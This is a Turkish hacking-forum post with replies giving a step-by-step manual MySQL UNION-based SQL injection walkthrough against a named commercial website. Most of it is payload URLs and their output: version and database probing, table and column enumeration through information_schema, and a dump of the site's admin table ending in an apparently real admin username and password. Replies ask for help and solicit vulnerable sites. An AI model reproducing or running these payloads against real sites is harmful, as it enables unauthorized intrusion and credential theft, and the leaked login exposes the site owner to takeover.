Manuel Adım Adım Ve Örnek Site Üzerinde MSQL İNJT

http://www.akdenizoyuncak.com/akdeniz/hizmetlerimiz.php?id=7

hizmetlerimiz.php?id=-7+union+select+1,2,3,4,5,6,7

-- ( 2 ) Çıktısını Aldım Sql Açık Burda .

,version(), Yazalım

/hizmetlerimiz.php?id=-7+union+select+1,version(),3,4,5,6,7

-- ( 5.5.34-0ubuntu0.12.04.1-log ) Çıktısını Aldım Sql Açık Burda .

/hizmetlerimiz.php?id=-7+union+select+1,database(),3,4,5,6,7,

-- ( db019039 ) DAtabase(Öğrendik..

TABLE ÇEKİL

--Tablo Bağlantı Kodu --Uzantı İşlemii.. --Komutişlevi-

hizmetlerimiz.php?id=-7+union+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()

admin,duyurular,ebulten,genel_ayarlar,h_resimler,hizmetler,iletisim,kategoriler

,mesajlar,referanslar,s_resimler,sayfalar,slider,sosyalmedya

,u_resimler,urunler,yh_resimler,yu_resimler

Tablo hex Olarak Giriş Yapar Ondan Text + Hexe Çevircez.

http://www.string-functions.com/string-hex.aspx Burdan Yapa Biliriz..

-kolon kodu- -kolon kodu --kategori kodu hex-

hizmetlerimiz.php?id=-7+union+select+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=0x61646d696e

0x3a -kodu veya anlamı-

kolonu ve diğer kolanı seçti öğrendigimiz kategori yazdık

hizmetlerimiz.php?id=-7+union+select+1,group_concat(kuadi,0x3a,sifre),3,4,5,6,7+from+admin

admin:84815751Faruk

paylasim icin saol kardesim bende sql inj sikinti yasiyorum sizinle nasil iletisime gece bilirim?

---

pm kontrol

Teşekkürler en ıyısı manuel

Buradan görsel olarak öğrenebilirsiniz.

GEOFORCE Kardşeim :

Al Tabloyu Görüyorsun
Burda Hatanı Kontrol Et..

siteni yolla .. sql acıklı siteni.